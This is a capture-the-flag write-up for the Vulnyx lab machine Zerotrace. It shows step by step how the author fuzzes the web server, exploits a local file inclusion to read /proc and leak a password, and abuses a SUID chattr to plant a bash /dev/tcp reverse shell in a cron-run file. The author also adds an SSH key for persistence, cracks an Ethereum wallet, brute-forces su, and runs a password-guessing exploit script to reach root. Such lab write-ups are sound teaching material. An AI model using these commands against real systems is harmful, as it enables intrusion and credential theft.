Skip to content

WriteUp Zerotrace - Vulnyx

Published:

VBox

This writeup describes the resolution of the Zerotrace machine created by suraxddq. It is the first writeup on my blog that does not belong to a machine created by me. I hope it helps you.

Table of Contents

Open table of contents

Enumeration

Nmap

We quickly scan all ports with nmap.

nmap -p- -Pn -n -sS 192.168.1.187

Nmap all ports

We observe three open ports: 22, 80, and 8000. We perform a more detailed scan to identify the services, versions, and possible attack vectors using nmap scripts.

nmap -p22,80,8000 -sVC -Pn -n 192.168.1.187 -o nmap.txt

Nmap

We can observe that the operating system is Debian, port 22 corresponds to the SSH service with OpenSSH, port 80 hosts an http website with nginx, and port 8000 seems to be an FTP service implemented with pyftpdlib. The versions are current and do not present apparent vulnerabilities.

Manual Enumeration

The manual enumeration performed is summarized below:

I access the website, check the code where a comment about the template used appears, download the complete website, and also download from the internet the template used for the site’s creation. We apply a diff to the files of the template used with the files of the website downloaded from the victim machine, check the differences, and there is nothing important.

I also tried to access the FTP service without a user and with the anonymous user, but I did not succeed.

Fuzzing

First, I tried to find something with ffuf and gobuster, using the same dictionary.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.187/ -x .pcap,.php,.txt,.zip,.db,.htm,.html,.phar,.db,.sql,.sql.gz,.sql.zip

After several unsuccessful attempts, I tried different techniques such as HTTP Request smuggling, analyzed potential vulnerabilities in the service versions, and executed the strings command on the OVA file, which allowed me to discover relevant information like the system users. Faced with the lack of progress, I decided to ask suraxddq for a hint.

Discord

With the hint “And if you don’t see it… .” it helped me to continue. We search for all hidden files and folders that start with a dot . using ffuf.

ffuf -u http://192.168.1.187/.FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "User-Agent: Mozilla/5.0" -fs 153 -t 40

FFUF

We found the folder /.admin. We continue fuzzing inside this folder.

gobuster dir -u http://192.168.1.187/.admin/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .pcap,.php,.txt,.zip,.db,.htm,.html,.phar,.db,.sql,.sql.gz,.sql.zip

gobuster

We found the file /.admin/tool.php. Being a PHP file that does not display any content (0 characters), we proceeded to perform parameter fuzzing for both POST and GET to discover possible entry vectors.

POST parameter fuzzing.

ffuf -u "http://192.168.1.187/.admin/tool.php" -X POST -d "FUZZ=/etc/passwd" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0

ffuf-post

Not finding results with POST parameter fuzzing, we proceeded to perform GET parameter fuzzing.

ffuf -u "http://192.168.1.187/.admin/tool.php?FUZZ=/etc/passwd" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0

ffuf-get

We found the file parameter. By accessing the URL /.admin/tool.php?file=/etc/passwd, we can see the contents of the /etc/passwd file, which contains the list of system users.

ffuf-get

We use a wordlist for LFI from DragonJAR and can only obtain the files /etc/passwd and /etc/hosts.

ffuf -u "http://192.168.1.187/.admin/tool.php?file=FUZZ" -w ./LFI-WordList-Linux -fs 0

ffuf-get

ffuf-get

We tried to access the files in the /proc directory of Linux, where we can see the commands executed by the active services in /proc/[PID]/cmdline.

First, we prepared a list of 5000 PIDs.

seq 1 5000 > pids.txt

We use ffuf to discover which PIDs allow us to obtain information and save the results in the file cmd-ffuf.txt.

ffuf -u "http://192.168.1.187/.admin/tool.php?file=/proc/FUZZ/cmdline" -w pids.txt  -fs 0 -o cmd-ffuf.txt

Since we have all the URLs found in an XML saved in the file cmd-ffuf.txt, we use it to make a request to all the URLs with information and save it in a file with the following one-line script.

jq -r '.results[].url' cmd-ffuf.txt | xargs -P4 -I {} sh -c 'echo "\n************* {}"; curl -s "{}" | tr "\0" " "'  > resultados.txt

Now we can observe all the commands found on the server in the file resultados.txt.

resultados.txt

We found the command that starts the FTP service on port 8000, where the password used for the user J4ckie0x17 is exposed.

Initial Access with J4ckie0x17

With the found password for J4ckie0x17, we can access the FTP service on port 8000, but we do not have permissions to upload files in any of the folders, which prevents us from creating a webshell. We tried the same password on the SSH service and it indeed works, thus achieving initial access to the server.

ssh J4ckie0x17@192.168.1.187

ssh J4ckie0x17

Lateral movement from J4ckie0x17 to shelldredd

We found several interesting things with the user J4ckie0x17.

  1. The binary /usr/bin/chattr has the SUID bit activated, which is unusual. This binary is used to modify special attributes in ext2/ext3/ext4 file systems.
find / -type f -perm -4000 2>/dev/null

find suid

  1. We use pspy to monitor the active processes and found one executed by the user shelldredd with the UID 1003, which is very suspicious.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s && chmod +x pspy64s && ./pspy64s

shelldredd process

CMD: UID=1003  PID=1475  | /bin/sh -c /bin/bash /opt/.nobodyshouldreadthis/destiny

When examining the destiny binary, it seems we can modify it and it doesn’t contain any script, so that process is probably showing an error. However, when trying to modify it, we won’t be able to because it has the immutable flag of the EXT filesystem special attributes.

lsattr /opt/.nobodyshouldreadthis/destiny

destiny inmutable

We use the chattr binary with SUID permissions to remove the immutable flag.

chattr -i /opt/.nobodyshouldreadthis/destiny

destiny no inmutable

Now we can modify the destiny file, adding a reverse shell that points to our attacking machine on port 443.

echo 'bash -i >& /dev/tcp/192.168.1.181/443 0>&1' > /opt/.nobodyshouldreadthis/destiny

On our attacking machine, we start a listener with netcat.

nc -lvnp 443

After waiting approximately one minute, we receive a reverse shell with the privileges of the user shelldredd.

shell con shelldredd

Lateral movement from shelldredd to ll104567

Before continuing, we install our public key in the .ssh directory of the user shelldredd to facilitate access via SSH and maintain persistence.

We use our public key.

mkdir .ssh && echo "ssh-ed25519 AAAAC.....CxOr3 kali@kali" > ./.ssh/authorized_keys && chmod 600 ./.ssh/authorized_keys

Now we can connect via SSH from our host to obtain a full shell and maintain persistence.

ssh shelldredd@192.168.1.187

We found several interesting things on the server, we have access to the home of the user ll104567 and we observe three interesting files:

We also found a folder that seems to be a crypto wallet /opt/cryptovault/ll104567 with three files:

Cracking Crypto Wallet

From our host, we copy the files from ll104567’s cryptovault to our machine using scp, since we have our public key installed.

scp -r shelldredd@192.168.1.187:/opt/cryptovault/ll104567 .

scp vault

Following the techniques described in the analysis of vulnerabilities in Ethereum wallet keystore files, we proceeded to attempt to crack the wallet.

Análisis Sistemático de Vulnerabilidades en Archivos Keystore de Wallets Ethereum

First, we must obtain the wallet hash using ethereum2john, which we will later use to crack it.

ethereum2john secret

ethereum2john

We save the hash in a file.

ethereum2john

We proceed to attempt to crack it with hashcat.

hashcat -m 15700 hash /usr/share/wordlists/rockyou.txt -w 4

After a waiting period, hashcat discovers the password dragonballz located on line 3186 of the rockyou.txt dictionary.

hashcat -m 15700 hash /usr/share/wordlists/rockyou.txt --show

wallet pass

Password of ll104567 and dictionary

At this point, I knew it had something to do with Dragon Ball Z and One-Punch Man, two animes; I was familiar with the first, but not the second. I was creating dictionaries with the characters from both animes and testing various combinations. I even watched a YouTube video where Son Goku was fighting against One-Punch Man, but it didn’t help me at all.

In the end, it was only necessary to combine the wallet password dragonballz with the character dictionary from the one file in the home directory of the user ll104567.

In the home directory of shelldredd, we created a dictionary with the file /home/ll104567/one by adding dragonballz at the beginning of each line.

sed 's/^/dragonballz/' ../ll104567/one > ~/diccionario.txt

Diccionario password

We download the suForce tool from d4t4s3c, a very useful tool for brute force.

wget --no-check-certificate -q "https://raw.githubusercontent.com/d4t4s3c/suForce/refs/heads/main/suForce" && chmod +x suForce 

and we use it with the created dictionary to try to obtain the password of the user ll104567.

./suForce -u ll104567 -w ./diccionario.txt

suForce

Bingo! We obtain the password for the user ll104567.

Privilege escalation from ll104567 to root

Now that we have access as the user ll104567, we can proceed to read the user flag (user.txt) that we previously did not have permission to access.

Using su from the user shelldredd or accessing via SSH with the obtained password, we log in as the user ll104567.

su ll104567

su

The user ll104567 has permissions to execute as root using sudo the executable /home/ll104567/guessme which we previously analyzed and was vulnerable.

sudo -l

We analyzed the guessme script and used ChatGPT to generate a bash script that exploits the vulnerability and guesses the password. At this point, we were a bit tired and didn’t feel like writing code 😅

getpass.sh

#!/bin/bash
# Conjunto de caracteres a probar; puedes ampliarlo según tus necesidades.
alphabet='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+[]{};:,.<>/?`~'

# Variable para almacenar el prefijo encontrado (la contraseña)
password=""

# Función que ejecuta guessme con un input dado y devuelve la salida
function test_guess() {
    local guess="$1"
    # Se envía el input sin salto de línea adicional
    echo -n "$guess" | sudo /bin/bash /home/ll104567/guessme 2>/dev/null
}

echo "Iniciando extracción de contraseña..."

while true; do
    # Primero, probamos si el prefijo actual ya es la contraseña completa.
    output=$(test_guess "$password")
    if [[ "$output" == *"Password matches!"* ]]; then
        echo "¡Contraseña encontrada: $password!"
        break
    fi

    found=0
    # Iteramos por cada carácter del alfabeto
    for (( i=0; i<${#alphabet}; i++ )); do
        c="${alphabet:$i:1}"
        guess="${password}${c}*"
        output=$(test_guess "$guess")
        if [[ "$output" == *"Password matches!"* ]]; then
            password="${password}${c}"
            echo "Caracter encontrado: '$c' -> Contraseña parcial: $password"
            found=1
            break
        fi
    done

    # Si no se encontró extensión, se detiene el script.
    if [ $found -eq 0 ]; then
        echo "No se pudo extender la contraseña. Contraseña parcial: $password"
        break
    fi
done

We copy the code and create a file in the user’s home directory, assign it execution permissions, and run it.

root pass

Once the root user’s password is obtained through the script, we use the su command to switch to the root user. Finally, we read the contents of the root.txt file, which contains the system’s final flag.

root flag

I thank suraxddq for this excellent virtual machine. Through this lab, I have gained valuable knowledge about the security of Ethereum wallets and the vulnerabilities associated with their implementation.